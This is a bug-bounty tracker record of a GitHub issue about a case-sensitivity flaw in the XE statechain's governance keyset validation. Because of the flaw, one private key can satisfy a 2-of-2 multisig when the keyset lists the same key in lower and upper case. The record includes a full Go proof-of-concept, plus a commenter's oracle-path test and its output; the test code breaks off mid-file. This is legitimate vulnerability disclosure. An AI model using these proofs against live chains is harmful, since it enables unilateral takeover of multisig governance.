{"id":"XE-13390","kind":"bounty","visibility":"public","source":"github","source_repo":"xeprotocol/xe","source_ref":"363","source_url":"https://github.com/xeprotocol/xe/issues/363","reporter_id":2478,"title":"[High] Statechain sys.dao_keyset accepts [K, UPPER(K)] as two distinct keys — one private key satisfies a 2-of-2 threshold","area":"consensus","claimed_tier":"high","assessed_tier":null,"verdict":"duplicate","duplicate_of":"XE-0001","tracked":true,"internal_ref":"#1062","internal_url":"https://github.com/xeprotocol/core/issues/1062","status":"closed","closed_reason":"duplicate","github_state":"closed","disclosed_at":null,"award_xe":null,"award_approved":false,"paid_ref":"","created_at":"2026-11-14T20:42:16.068328+00:00","updated_at":"2026-11-25T17:15:51.184343+00:00","source_created_at":"2026-11-11T08:23:59+00:00","told_at":"2026-11-20T00:04:49+00:00","status_changed_at":"2026-11-20T00:04:24.795214+00:00","url":"https://bounty.xe.network/XE-13390","body":"# H1 — HIGH — Statechain `sys.dao_keyset` case-sensitivity bypass\n\nTitle: [High] Statechain sys.dao_keyset accepts [K, UPPER(K)] as two distinct keys — one private key satisfies a 2-of-2 threshold\n\n---\n\n## Summary\n\nI found that the statechain's keyset validation and its signature verification disagree about what makes two keys \"different\". Validation dedups keyset entries on the raw key string, while verification decodes hex case-insensitively. So a keyset `[K, UPPER(K)]` with threshold 2 passes validation — the strings look different — but both entries decode to the same key, and one private key satisfies the whole threshold. I proved it twice on a local node with a self-made genesis: the plant block was accepted, and then a single key signed twice (once with a lowercase `public_key`, once uppercase) and the 2-of-2 check passed. The same shape is in `sys.oracle` and `sys.minter` validation too.\n\nSuggested tier: **High** (10,000 XE).\n\nMy XE address for payout: `d0a60d324b5f1d72fa06e79b92f0253241b85438a10c0ccac76c5f9b8135d8d4`\n\n## How I found it\n\nI was auditing how the statechain validates its governance keysets, because the DAO keyset is the root of trust for everything else (oracle, minter, tokenomics, phase, timekeepers). I started in `statechain/kvstore.go` at the `sys.dao_keyset` validation and saw the duplicate check is `seen[k]` — a map keyed on the raw string, no lower-casing anywhere. That looked fine on its own. Then I followed the verification path in `statechain/chain.go` (`verifyMultisig`) down to `core/crypto.go:210`, where the public key is decoded with `hex.DecodeString`. Go's `hex.DecodeString` accepts both cases. That was the mismatch: validation compares strings, verification compares decoded bytes.\n\nI grepped for any normalisation — `ToLower`, `ToUpper`, any case folding — in `statechain/` and `api/`. There is none. The core ledger, by contrast, lower-cases everything at ingest (`core/ledger.go:711-729` `normalizeBlockHex`) and its `ValidateKeyset` dedups lower-cased (`core/multisig.go:35-66`). So the statechain is the one place where the two views of \"same key\" diverge.\n\nI first tried to confirm this by inspection alone and almost stopped there, because the obvious objection is that planting still needs the current DAO threshold (2-of-3 on testnet-0005), so a single member cannot plant it alone. That is true and it is why I am calling this High, not Critical. But the consequence once planted is permanent and total: the single holder can then rotate `sys.dao_keyset` to themselves, rewrite `sys.oracle`, set `sys.minter`, `sys.tokenomics`, `sys.phase`, and `sys.timekeepers` — alone, forever. So I built the proof instead of theorizing.\n\n## Steps to reproduce\n\nLocal node harness only. No live testnet traffic, no faucet, no live DAO keys. The proof program is Go, uses `statechain.GenerateTestGenesis` plus an in-memory store, and uses fresh random keys on every run.\n\n1. Clone the repo and build a local node (Go 1.25). The proof program is `proof-h1/main.go` — run it with `go run .`, twice. Exit 0 means every assertion held.\n2. Run 1: genesis `8d924bd847c5875bdd467d00627d63485715f9065d4790f645e2b5ba46a9b586`.\n   - TEST 1 (plant): submit a statechain block setting `sys.dao_keyset` to `{keys: [K, UPPER(K)], threshold: 2}`, signed by 2 current DAO keys. Result: **ACCEPTED**. Plant block `55920036c2052db12480dde75e0823a9df96d1e72bd8ba87317034c0ad4e9840`.\n   - TEST 2 (exploit): submit a further DAO block with two signatures from the single private key K — one with a lowercase `public_key`, one with the uppercase form. Both signatures have identical bytes. Result: **ACCEPTED** — threshold 2 satisfied by one key.\n3. Run 2: genesis `b4984824df420adf7dc93a021982af7ef0e73d6f213bf434a024dea7023b7363`, plant `fdaac4270dd0b0564aa7261a19d2e801f7c3dc271eabaa35e7b8b230dd21e836`. Identical outcome: plant + exploit accepted.\n4. Negative controls (all rejected as expected):\n   - Same-case duplicate `[K, K]` → rejected: `dao_keyset key[1] is a duplicate`.\n   - Mixed `[K, D1]` where D1 is a different key not in the keyset → rejected: `signer not in keyset`.\n   - Exact duplicate signer (same key, same case, twice) → rejected: `duplicate signer`.\n\nThe proof program (`proof-h1/main.go`, 221 lines) is pasted in full at the end of this report so triage can run it directly.\n\n## Impact\n\nPlanting needs 2 colluding DAO members (the current 2-of-3 threshold on testnet-0005; genesis has 3 distinct lowercase keys, threshold 2, so the bypass is not live in genesis). A single DAO member cannot plant it alone. That is the gating nuance and the reason this is High rather than Critical.\n\nOnce planted, though, the single holder has unilateral governance forever. They can change `sys.dao_keyset` to themselves alone, rewrite `sys.oracle` AllowedPrefix, set `sys.minter`, `sys.tokenomics`, `sys.phase`, and `sys.timekeepers` — all without any other member. There is no way back except a new keyset rotation, which the single holder now controls. The governance root of trust collapses to one key.\n\n## Root cause\n\nTwo functions disagree about key identity. Validation in `statechain/kvstore.go` (`validateSysKeyValue`, `sys.dao_keyset` case ~lines 64-95, `sys.oracle` case ~155-180, `sys.minter` same pattern) dedups on the raw string (`seen[k]`). Verification in `statechain/chain.go` (`verifyMultisig` :226-258, `verifyOracleMultisig` :360-395) goes through `statechain/crypto.go:34` to `core.VerifyHexSignature` (`core/crypto.go:210`), which decodes with `hex.DecodeString` — case-insensitive. A keyset that passes validation can therefore contain the same key twice in different cases, and the threshold counts it twice.\n\n## Why this is not a duplicate\n\nI read all 189 issues (open and closed) before filing, and re-checked the live issue list immediately before submitting. Zero hits for `dao_keyset` + `case`, `dao_keyset` + `uppercase`, or `oracle` + `case` + `threshold`.\n\nThe closest is **#10 Finding 2**, which is about `sys.timekeepers` lacking hex-decode and duplicate checks. #10's own text explicitly says dao_keyset/minter/oracle \"strictly decode keys and enforce uniqueness (`seen[k]`)\" and treats them as protected — #10 does not discuss case-sensitivity at all, and #10's fix (raw `seen[k]` on timekeepers) does not fix this hole. This is a distinct root cause (a case-sensitivity gap in validation vs verification), though I flag the adjacency honestly: triage may see it as same-family as #10.\n\n## Suggested fix\n\nNormalise keyset entries to lowercase (or decode-then-compare) before the duplicate check in `validateSysKeyValue`, for `sys.dao_keyset`, `sys.oracle`, and `sys.minter`. The core ledger already does this (`normalizeBlockHex`, `ValidateKeyset` dedups lower-cased) — the statechain should match it. A one-line `strings.ToLower(k)` before the `seen[k]` check closes all three.\n\n## What I deliberately did not test\n\nI did not touch the live testnet DAO, did not attempt to plant anything on testnet-0005, and did not use or seek any live DAO keys. All testing was on a local node with a self-made genesis and keys I generated for the test. I also did not test whether the same case gap exists in any other keyset validation outside `sys.dao_keyset` / `sys.oracle` / `sys.minter` — I grepped `statechain/` and `api/` for normalisation and found none, but I did not exhaustively audit every keyset consumer.\n\n## Proof program\n\n<details>\n<summary>proof-h1/main.go (221 lines — run with <code>go run .</code> twice; exit 0 = all assertions hold)</summary>\n\n```go\n// H1 proof: statechain sys.dao_keyset case-sensitivity bypass.\n// One ed25519 private key satisfies a 2-of-N threshold when the keyset\n// contains the same key in two cases ([K, UPPER(K)]).\n//\n// Run: go run .  (twice; exit 0 = all assertions hold)\n// Exits non-zero with a clear message if any expectation is violated.\npackage main\n\nimport (\n\t\"crypto/ed25519\"\n\t\"crypto/rand\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/xeprotocol/xe/statechain\"\n)\n\n// memStore is a minimal in-memory StateChainStore for the proof.\ntype memStore struct {\n\tblocks map[uint64]*statechain.Block\n}\n\nfunc newMemStore() *memStore { return &memStore{blocks: make(map[uint64]*statechain.Block)} }\n\nfunc (m *memStore) PutStateBlock(b *statechain.Block) error {\n\tm.blocks[b.Index] = b\n\treturn nil\n}\nfunc (m *memStore) GetStateBlock(index uint64) (*statechain.Block, error) {\n\tb, ok := m.blocks[index]\n\tif !ok {\n\t\treturn nil, nil\n\t}\n\treturn b, nil\n}\nfunc (m *memStore) GetStateTip() (*statechain.Block, error) {\n\tvar tip *statechain.Block\n\tfor _, b := range m.blocks {\n\t\tif tip == nil || b.Index > tip.Index {\n\t\t\ttip = b\n\t\t}\n\t}\n\treturn tip, nil\n}\nfunc (m *memStore) GetStateBlockRange(start, count uint64) ([]*statechain.Block, error) {\n\tvar out []*statechain.Block\n\tfor i := start; i < start+count; i++ {\n\t\tif b, ok := m.blocks[i]; ok {\n\t\t\tout = append(out, b)\n\t\t}\n\t}\n\treturn out, nil\n}\nfunc (m *memStore) StateBlockCount() (uint64, error) { return uint64(len(m.blocks)), nil }\n\nfunc mustKey() (ed25519.PrivateKey, string) {\n\t_, priv, err := ed25519.GenerateKey(rand.Reader)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tpub := priv.Public().(ed25519.PublicKey)\n\treturn priv, hex.EncodeToString(pub)\n}\n\nfunc signBlock(b *statechain.Block, priv ed25519.PrivateKey) statechain.BlockSignature {\n\tsig, err := statechain.SignBlock(b, priv)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn sig\n}\n\n// buildBlock constructs a statechain block with hash computed, unsigned.\nfunc buildBlock(index uint64, prevHash string, ts int64, ops []statechain.Op) *statechain.Block {\n\tb := &statechain.Block{\n\t\tIndex:      index,\n\t\tPrevHash:   prevHash,\n\t\tOps:        ops,\n\t\tSignatures: []statechain.BlockSignature{},\n\t\tTimestamp:  ts,\n\t}\n\th, err := statechain.HashBlock(b)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tb.Hash = h\n\treturn b\n}\n\nfunc keysetOp(keys []string, threshold int) statechain.Op {\n\tks := statechain.DAOKeyset{Keys: keys, Threshold: threshold}\n\tv, err := json.Marshal(ks)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn statechain.Op{Action: statechain.ActionSet, Key: \"sys.dao_keyset\", Value: v}\n}\n\nfunc main() {\n\tfail := func(format string, args ...interface{}) {\n\t\tfmt.Printf(\"FAIL: \"+format+\"\\n\", args...)\n\t\tos.Exit(1)\n\t}\n\tok := func(format string, args ...interface{}) {\n\t\tfmt.Printf(\"PASS: \"+format+\"\\n\", args...)\n\t}\n\n\t// --- Genesis DAO: 3 distinct keys, threshold 2 (all controlled here) ---\n\td1, d1pub := mustKey()\n\td2, d2pub := mustKey()\n\t_, d3pub := mustKey()\n\tfmt.Printf(\"genesis DAO keys: %s %s %s (threshold 2)\\n\", d1pub[:12], d2pub[:12], d3pub[:12])\n\n\tgenesis, err := statechain.GenerateTestGenesis([]string{d1pub, d2pub, d3pub}, 2)\n\tif err != nil {\n\t\tfail(\"GenerateTestGenesis: %v\", err)\n\t}\n\tchain, err := statechain.NewChain(newMemStore(), genesis)\n\tif err != nil {\n\t\tfail(\"NewChain: %v\", err)\n\t}\n\tfmt.Printf(\"genesis hash: %s\\n\", genesis.Hash)\n\n\t// --- Attacker key K ---\n\tkPriv, kPub := mustKey()\n\tkUpper := strings.ToUpper(kPub)\n\tfmt.Printf(\"attacker key K: %s / UPPER: %s\\n\", kPub[:12], kUpper[:12])\n\tif kPub == kUpper {\n\t\tfail(\"attacker key has no lowercase hex chars; regenerate\")\n\t}\n\n\tts := time.Now().Unix()\n\n\t// === TEST 1 (plant): set sys.dao_keyset to [K, UPPER(K)] threshold 2,\n\t// signed by 2 current DAO keys (D1, D2). Expect ACCEPTED (the bug). ===\n\tplant := buildBlock(1, genesis.Hash, ts, []statechain.Op{keysetOp([]string{kPub, kUpper}, 2)})\n\tplant.Signatures = []statechain.BlockSignature{\n\t\tsignBlock(plant, d1),\n\t\tsignBlock(plant, d2),\n\t}\n\tif err := chain.AddBlock(plant); err != nil {\n\t\tfail(\"TEST 1 plant block REJECTED (expected ACCEPT): %v\", err)\n\t}\n\tok(\"TEST 1 plant accepted: keyset [K, UPPER(K)] threshold 2 stored (hash %s)\", plant.Hash)\n\tks := chain.DAOKeyset()\n\tfmt.Printf(\"      current keyset: keys=%v threshold=%d\\n\", ks.Keys, ks.Threshold)\n\n\t// === TEST 2 (exploit): a further DAO block signed ONLY by key K,\n\t// twice — once with lowercase public_key, once uppercase.\n\t// Expect ACCEPTED: one private key satisfies 2-of-2. ===\n\tproofOp := statechain.Op{\n\t\tAction: statechain.ActionSet,\n\t\tKey:    \"proof.h1\",\n\t\tValue:  json.RawMessage(`\"single-key-2of2\"`),\n\t}\n\texploit := buildBlock(2, plant.Hash, ts+1, []statechain.Op{proofOp})\n\tsigLower := signBlock(exploit, kPriv)\n\tsigUpper := sigLower\n\tsigUpper.PublicKey = kUpper // same signature bytes, public_key in UPPER case\n\tif sigLower.Sig != sigUpper.Sig {\n\t\tfail(\"internal: signature bytes differ between cases\")\n\t}\n\texploit.Signatures = []statechain.BlockSignature{sigLower, sigUpper}\n\tif err := chain.AddBlock(exploit); err != nil {\n\t\tfail(\"TEST 2 exploit block REJECTED (expected ACCEPT): %v\", err)\n\t}\n\tok(\"TEST 2 exploit accepted: ONE private key satisfied threshold 2 (sigs %s / %s, identical sig bytes %s)\",\n\t\tsigLower.PublicKey[:12], sigUpper.PublicKey[:12], sigLower.Sig[:16])\n\tv, found := chain.GetKV(\"proof.h1\")\n\tfmt.Printf(\"      proof.h1 stored: %s (found=%v)\\n\", string(v), found)\n\n\t// === TEST 3 (negative control A): same-case duplicate keyset [K, K]\n\t// must be REJECTED by the existing duplicate check. ===\n\tchain2, err := statechain.NewChain(newMemStore(), genesis)\n\tif err != nil {\n\t\tfail(\"NewChain (control): %v\", err)\n\t}\n\tdup := buildBlock(1, genesis.Hash, ts, []statechain.Op{keysetOp([]string{kPub, kPub}, 2)})\n\tdup.Signatures = []statechain.BlockSignature{signBlock(dup, d1), signBlock(dup, d2)}\n\tif err := chain2.AddBlock(dup); err == nil {\n\t\tfail(\"TEST 3 control: same-case duplicate keyset [K, K] ACCEPTED (expected REJECT)\")\n\t} else {\n\t\tok(\"TEST 3 control: same-case duplicate [K, K] rejected as expected: %v\", err)\n\t}\n\n\t// === TEST 4 (negative control B): after planting, a block signed by K\n\t// once + an old DAO key D1 once must be REJECTED (D1 no longer in keyset).\n\t// Proves the keyset really changed and the exploit used only K. ===\n\tmixed := buildBlock(3, exploit.Hash, ts+2, []statechain.Op{{\n\t\tAction: statechain.ActionSet,\n\t\tKey:    \"proof.h1b\",\n\t\tValue:  json.RawMessage(`\"mixed\"`),\n\t}})\n\tmixed.Signatures = []statechain.BlockSignature{signBlock(mixed, kPriv), signBlock(mixed, d1)}\n\tif err := chain.AddBlock(mixed); err == nil {\n\t\tfail(\"TEST 4 control: K+D1 mixed block ACCEPTED (expected REJECT — D1 not in planted keyset)\")\n\t} else {\n\t\tok(\"TEST 4 control: K+D1 mixed block rejected as expected: %v\", err)\n\t}\n\n\t// === TEST 5 (negative control C): same public_key string twice\n\t// (exact duplicate signer) must be REJECTED. ===\n\tdupSig := buildBlock(3, exploit.Hash, ts+2, []statechain.Op{{\n\t\tAction: statechain.ActionSet,\n\t\tKey:    \"proof.h1c\",\n\t\tValue:  json.RawMessage(`\"dupsig\"`),\n\t}})\n\ts := signBlock(dupSig, kPriv)\n\tdupSig.Signatures = []statechain.BlockSignature{s, s}\n\tif err := chain.AddBlock(dupSig); err == nil {\n\t\tfail(\"TEST 5 control: exact duplicate signer ACCEPTED (expected REJECT)\")\n\t} else {\n\t\tok(\"TEST 5 control: exact duplicate signer rejected as expected: %v\", err)\n\t}\n\n\tfmt.Println(\"ALL H1 ASSERTIONS HELD — H1 CONFIRMED (case-sensitivity bypass: 1 key = 2-of-2)\")\n}\n```\n</details>\n","patch_refs":[{"id":577,"repo":"xeprotocol/xe","kind":"pr","ref":"553","title":"statechain: normalize hex keys case-insensitively in keyset validation and multisig (Fixes #363)","url":"https://github.com/xeprotocol/xe/pull/553","note":"","state":"open","author":"Khanhtnq","added_by":"desk","created_at":"2026-11-14T20:42:20.297796+00:00"},{"id":725,"repo":"xeprotocol/xe","kind":"pr","ref":"874","title":"fix(xe): high--statechain-sys-dao-keys (fixes #363)","url":"https://github.com/xeprotocol/xe/pull/874","note":"","state":"open","author":"tipprb","added_by":"desk","created_at":"2026-11-19T17:38:11.042591+00:00"},{"id":726,"repo":"xeprotocol/xe","kind":"pr","ref":"875","title":"fix(xe): high--statechain-sys-dao-keys (fixes #363)","url":"https://github.com/xeprotocol/xe/pull/875","note":"","state":"open","author":"tipprb","added_by":"desk","created_at":"2026-11-19T17:38:11.073024+00:00"}],"thread":[{"id":3153,"source":"github","source_ref":"6800268880","author":"ariyanto18","team":false,"body":"**Supplementary proof for the `sys.oracle` instance named above — executed oracle-path PoC**\n\nConfirming this report and adding the piece it didn't run: an end-to-end execution of the oracle path at HEAD (`89a542ea51d38375299aee54c6c99102e9bfa666`, Go 1.25, local in-process test only — no testnet traffic).\n\nThe oracle instance matters beyond the DAO path because of what epoch blocks control and when the bug activates:\n\n- Shipped genesis oracle is **1-of-1**, so the oracle instance is inert today.\n- It goes live exactly when governance makes the safety-improving move of raising the oracle threshold to ≥2: a padded keyset `[K, UPPER(K)]` validates silently, and epoch publication — emission multiplier **R**, payout cap, and the TWAP that prices every lease settlement — stays under one private key while appearing multi-party. Planting still requires the current DAO threshold (2-of-3 on testnet-0005), same precondition as the DAO path here.\n\n**What the PoC executes** (real `statechain.ValidateOp` + real `Chain.AddBlock`, in-memory `StateChainStore`, deterministic keys):\n\n| Step | Result |\n|---|---|\n| `ValidateOp([K, UPPER(K)], threshold 2)` | **ACCEPTED** — case-sensitive `seen[k]` dedup |\n| `ValidateOp([K, K])` (control) | rejected: duplicate |\n| `ValidateOp([K, K2 distinct])` (control) | accepted (baseline) |\n| DAO block (2-of-2 DAO sigs) planting `sys.oracle = [K, UPPER(K)]` thr 2 | **ACCEPTED**, stored verbatim |\n| Epoch block, 1 signature (control) | rejected: insufficient signatures |\n| Epoch block, same spelling twice (control) | rejected: duplicate signer |\n| Epoch block, K + outsider key (control) | rejected: signer not in keyset |\n| **Epoch block, 2 signatures from ONE private key (lowercase + UPPERCASE `public_key`, identical signature bytes)** | **ACCEPTED** — `epoch.1` stored via `verifyOracleMultisig` |\n| Honest keyset `[K, K2]`, both keys sign (sanity) | accepted (baseline intact) |\n\nReproduce: place the test in a module with a `replace` directive to this repo and run `go test -run TestC1OracleCaseVariant -v .`\n\nAgree with the suggested fix in the report — normalise (decode → canonical lowercase re-encode) before dedup **and** before counting, in `validateSysKeyValue` and in the `keysetMap`/`seen` construction in both verifiers, so stored legacy values can't resurrect the gap.\n\nFull test code and output below.\n\n<details>\n<summary>Test output (PASS, all subtests)</summary>\n\n```\n=== RUN   TestC1OracleCaseVariant\noracle key K (lower): c7a20332864c35a5b9872772388fbd000fd87e7d88ef02e9a7d355a3d540e808\noracle key K (UPPER): C7A20332864C35A5B9872772388FBD000FD87E7D88EF02E9A7D355A3D540E808\nconfirmed: hex.DecodeString(lower) == hex.DecodeString(UPPER) byte-for-byte\n=== RUN   TestC1OracleCaseVariant/ValidateOp_accepts_case_variant_oracle_keyset\nValidateOp([K, UPPER(K)], threshold=2) => ACCEPTED (nil error)\n=== RUN   TestC1OracleCaseVariant/ValidateOp_rejects_exact_duplicate\nValidateOp([K, K], threshold=2) => rejected as expected: op key \"sys.oracle\": oracle key[1] is a duplicate\n=== RUN   TestC1OracleCaseVariant/ValidateOp_accepts_two_distinct_keys\nValidateOp([K, K2 distinct], threshold=2) => ACCEPTED (baseline)\ngenesis hash: 59368f66de270cd27e4184ba002278dcc4aa18e0e0c7c286256375e23fe48d90 (oracle=[K2] 1-of-1, DAO 2-of-2)\n=== RUN   TestC1OracleCaseVariant/DAO_block_plants_evil_oracle_keyset\nAddBlock(plant sys.oracle=[K, UPPER(K)] thr=2, DAO 2-of-2 sigs) => ACCEPTED; stored sys.oracle={\"keys\":[\"c7a20332864c35a5b9872772388fbd000fd87e7d88ef02e9a7d355a3d540e808\",\"C7A20332864C35A5B9872772388FBD000FD87E7D88EF02E9A7D355A3D540E808\"],\"threshold\":2,\"allowed_prefix\":\"epoch.\"}\n=== RUN   TestC1OracleCaseVariant/control_single_signature_rejected\nepoch block, 1 sig from K => rejected as expected: insufficient oracle signatures: got 1, need 2\n=== RUN   TestC1OracleCaseVariant/control_same_spelling_twice_rejected\nepoch block, sigs [K, K] same spelling => rejected as expected: duplicate signer: c7a20332864c\n=== RUN   TestC1OracleCaseVariant/control_outsider_key_rejected\nepoch block, sigs [K, K2-not-in-keyset] => rejected as expected: signer 52e4505760e4 not in oracle keyset\n=== RUN   TestC1OracleCaseVariant/EXPLOIT_one_key_satisfies_2of2_oracle\nEXPLOIT CONFIRMED: epoch block ACCEPTED with 2 sigs from ONE private key (public_key c7a20332864c… + C7A20332864C…, identical sig bytes 539f7fddc2579ff1…); epoch.1 stored: {\"epoch\":1,\"start_ns\":1000,\"end_ns\":2000,\"twap_milli_usd\":0,\"twav_milli_usd\":0,\"r_volume\":2000,\"r_price_floor\":0,\"r_effective\":2000,\"r_source\":\"volume\",\"phase\":1,\"payout_cap\":0}\n=== RUN   TestC1OracleCaseVariant/honest_keyset_still_works\nhonest keyset [K, K2] 2-of-2: epoch block with both distinct keys => ACCEPTED (baseline intact)\n--- PASS: TestC1OracleCaseVariant (0.01s)\n    --- PASS: TestC1OracleCaseVariant/ValidateOp_accepts_case_variant_oracle_keyset (0.00s)\n    --- PASS: TestC1OracleCaseVariant/ValidateOp_rejects_exact_duplicate (0.00s)\n    --- PASS: TestC1OracleCaseVariant/ValidateOp_accepts_two_distinct_keys (0.00s)\n    --- PASS: TestC1OracleCaseVariant/DAO_block_plants_evil_oracle_keyset (0.00s)\n    --- PASS: TestC1OracleCaseVariant/control_single_signature_rejected (0.00s)\n    --- PASS: TestC1OracleCaseVariant/control_same_spelling_twice_rejected (0.00s)\n    --- PASS: TestC1OracleCaseVariant/control_outsider_key_rejected (0.00s)\n    --- PASS: TestC1OracleCaseVariant/EXPLOIT_one_key_satisfies_2of2_oracle (0.00s)\n    --- PASS: TestC1OracleCaseVariant/honest_keyset_still_works (0.00s)\nPASS\nok  \tpoc\t0.081s\n```\n\n</details>\n\n<details>\n<summary>Full PoC test code (c1_oracle_case_test.go)</summary>\n\n```go\n// C1 local PoC — XE Network statechain sys.oracle case-variant duplicate keys.\n//\n// Claim under test (candidate C1, triage step 1):\n//   statechain/kvstore.go validateSysKeyValue (\"sys.oracle\" branch) dedups keys\n//   with a case-sensitive map (seen[k] on the raw string), while\n//   statechain/chain.go verifyOracleMultisig counts each stored spelling\n//   separately and statechain/crypto.go VerifySignature ->\n//   core.VerifyHexSignature decodes the public key with hex.DecodeString\n//   (case-insensitive). A keyset [K, UPPER(K)] with threshold 2 therefore\n//   passes validation, and ONE ed25519 private key satisfies the 2-of-2\n//   oracle multisig by signing once per spelling.\n//\n// Everything runs in-process against an in-memory StateChainStore.\n// No network, no testnet traffic, no accounts.\n//\n// Run: go test -run TestC1OracleCaseVariant -v .\npackage poc\n\nimport (\n\t\"crypto/ed25519\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/xeprotocol/xe/statechain\"\n)\n\n// --- minimal in-memory StateChainStore (the \"MemStore\" of the step-1 plan) ---\n\ntype memStore struct {\n\tblocks map[uint64]*statechain.Block\n}\n\nfunc newMemStore() *memStore { return &memStore{blocks: make(map[uint64]*statechain.Block)} }\n\nfunc (m *memStore) PutStateBlock(b *statechain.Block) error { m.blocks[b.Index] = b; return nil }\n\nfunc (m *memStore) GetStateBlock(index uint64) (*statechain.Block, error) {\n\tb, ok := m.blocks[index]\n\tif !ok {\n\t\treturn nil, nil\n\t}\n\treturn b, nil\n}\n\nfunc (m *memStore) GetStateTip() (*statechain.Block, error) {\n\tvar tip *statechain.Block\n\tfor _, b := range m.blocks {\n\t\tif tip == nil || b.Index > tip.Index {\n\t\t\ttip = b\n\t\t}\n\t}\n\treturn tip, nil\n}\n\nfunc (m *memStore) GetStateBlockRange(start, count uint64) ([]*statechain.Block, error) {\n\tvar out []*statechain.Block\n\tfor i := start; i < start+count; i++ {\n\t\tif b, ok := m.blocks[i]; ok {\n\t\t\tout = append(out, b)\n\t\t}\n\t}\n\treturn out, nil\n}\n\nfunc (m *memStore) StateBlockCount() (uint64, error) { return uint64(len(m.blocks)), nil }\n\n// --- helpers ---\n\nfunc keyFromSeed(label string, seedByte byte) (ed25519.PrivateKey, string) {\n\tseed := make([]byte, ed25519.SeedSize)\n\tfor i := range seed {\n\t\tseed[i] = seedByte + byte(i)\n\t}\n\t// Mix the label in so different labels give different keys.\n\tfor i, c := range []byte(label) {\n\t\tseed[i%len(seed)] ^= c\n\t}\n\tpriv := ed25519.NewKeyFromSeed(seed)\n\tpub := priv.Public().(ed25519.PublicKey)\n\treturn priv, hex.EncodeToString(pub)\n}\n\nfunc buildBlock(t *testing.T, index uint64, prevHash string, ts int64, ops []statechain.Op) *statechain.Block {\n\tt.Helper()\n\tb := &statechain.Block{\n\t\tIndex:      index,\n\t\tPrevHash:   prevHash,\n\t\tOps:        ops,\n\t\tSignatures: []statechain.BlockSignature{},\n\t\tTimestamp:  ts,\n\t}\n\th, err := statechain.HashBlock(b)\n\tif err != nil {\n\t\tt.Fatalf(\"HashBlock: %v\", err)\n\t}\n\tb.Hash = h\n\treturn b\n}\n\nfunc sign(t *testing.T, b *statechain.Block, priv ed25519.PrivateKey) statechain.BlockSignature {\n\tt.Helper()\n\tsig, err := statechain.SignBlock(b, priv)\n\tif err != nil {\n\t\tt.Fatalf(\"SignBlock: %v\", err)\n\t}\n\treturn sig\n}\n\nfunc oracleOp(t *testing.T, keys []string, threshold int) statechain.Op {\n\tt.Helper()\n\toc := statechain.OracleConfig{Keys: keys, Threshold: threshold, AllowedPrefix: \"epoch.\"}\n\tv, err := json.Marshal(oc)\n\tif err != nil {\n\t\tt.Fatalf(\"marshal oracle config: %v\", err)\n\t}\n\treturn statechain.Op{Action: statechain.ActionSet, Key: \"sys.oracle\", Value: v}\n}\n\nfunc epochOp(t *testing.T, key string) statechain.Op {\n\tt.Helper()\n\t// Epoch value crafted to pass statechain validateEpochValue with\n\t// sys.phase=1 and no sys.tokenomics in state:\n\t//   phase 1 -> s_milli must be 0; twap 0 -> r_collusion must be 0;\n\t//   r_effective = max(r_volume, r_price_floor) = 2000; r_source \"volume\".\n\tev := statechain.EpochValue{\n\t\tEpoch:     1,\n\t\tStartNS:   1_000,\n\t\tEndNS:     2_000,\n\t\tRVolume:   2000,\n\t\tREffective: 2000,\n\t\tRSource:   \"volume\",\n\t\tPhase:     1,\n\t\tPayoutCap: 0,\n\t}\n\tv, err := json.Marshal(ev)\n\tif err != nil {\n\t\tt.Fatalf(\"marshal epoch value: %v\", err)\n\t}\n\treturn statechain.Op{Action: statechain.ActionSet, Key: key, Value: v}\n}\n\n// genesisWithOracle builds a genesis carrying a 2-of-2 DAO keyset\n// (d1pub, d2pub), the given initial oracle config, and sys.phase=1.\nfunc genesisWithOracle(t *testing.T, daoKeys []string, oracleKeys []string, oracleThreshold int) *statechain.Block {\n\tt.Helper()\n\tdaoJSON, err := json.Marshal(statechain.DAOKeyset{Keys: daoKeys, Threshold: 2})\n\tif err != nil {\n\t\tt.Fatalf(\"marshal dao keyset: %v\", err)\n\t}\n\toracleJSON, err := json.Marshal(statechain.OracleConfig{Keys: oracleKeys, Threshold: oracleThreshold, AllowedPrefix: \"epoch.\"})\n\tif err != nil {\n\t\tt.Fatalf(\"marshal oracle config: %v\", err)\n\t}\n\tphaseJSON, err := json.Marshal(uint8(1))\n\tif err != nil {\n\t\tt.Fatalf(\"marshal phase: %v\", err)\n\t}\n\tb := &statechain.Block{\n\t\tIndex:    0,\n\t\tPrevHash: \"0000000000000000000000000000000000000000000000000000000000000000\",\n\t\tOps: []statechain.Op{\n\t\t\t{Action: statechain.ActionSet, Key: \"sys.dao_keyset\", Value: daoJSON},\n\t\t\t{Action: statechain.ActionSet, Key: \"sys.oracle\", Value: oracleJSON},\n\t\t\t{Action: statechain.ActionSet, Key: \"sys.phase\", Value: phaseJSON},\n\t\t},\n\t\tSignatures: []statechain.BlockSignature{},\n\t\tTimestamp:  0,\n\t}\n\th, err := statechain.HashBlock(b)\n\tif err != nil {\n\t\tt.Fatalf(\"HashBlock genesis: %v\", err)\n\t}\n\tb.Hash = h\n\treturn b\n}\n\nfunc TestC1OracleCaseVariant(t *testing.T) {\n\t// Deterministic keys.\n\td1Priv, d1Pub := keyFromSeed(\"dao-1\", 0x11)\n\td2Priv, d2Pub := keyFromSeed(\"dao-2\", 0x42)\n\tkPriv, kPub := keyFromSeed(\"oracle-attacker\", 0x77)\n\t_, k2Pub := keyFromSeed(\"oracle-other\", 0x99)\n\tk2Priv, _ := keyFromSeed(\"oracle-other\", 0x99)\n\n\tkUpper := strings.ToUpper(kPub)\n\tif kPub == kUpper {\n\t\tt.Fatalf(\"test key %s has no a-f letters; case variant is vacuous — pick another seed\", kPub)\n\t}\n\tfmt.Printf(\"oracle key K (lower): %s\\noracle key K (UPPER): %s\\n\", kPub, kUpper)\n\tkb1, _ := hex.DecodeString(kPub)\n\tkb2, _ := hex.DecodeString(kUpper)\n\tif string(kb1) != string(kb2) {\n\t\tt.Fatalf(\"internal: lower/upper spellings decode to different bytes\")\n\t}\n\tfmt.Println(\"confirmed: hex.DecodeString(lower) == hex.DecodeString(UPPER) byte-for-byte\")\n\n\t// ---------- Part 1: ValidateOp directly ----------\n\tt.Run(\"ValidateOp_accepts_case_variant_oracle_keyset\", func(t *testing.T) {\n\t\top := oracleOp(t, 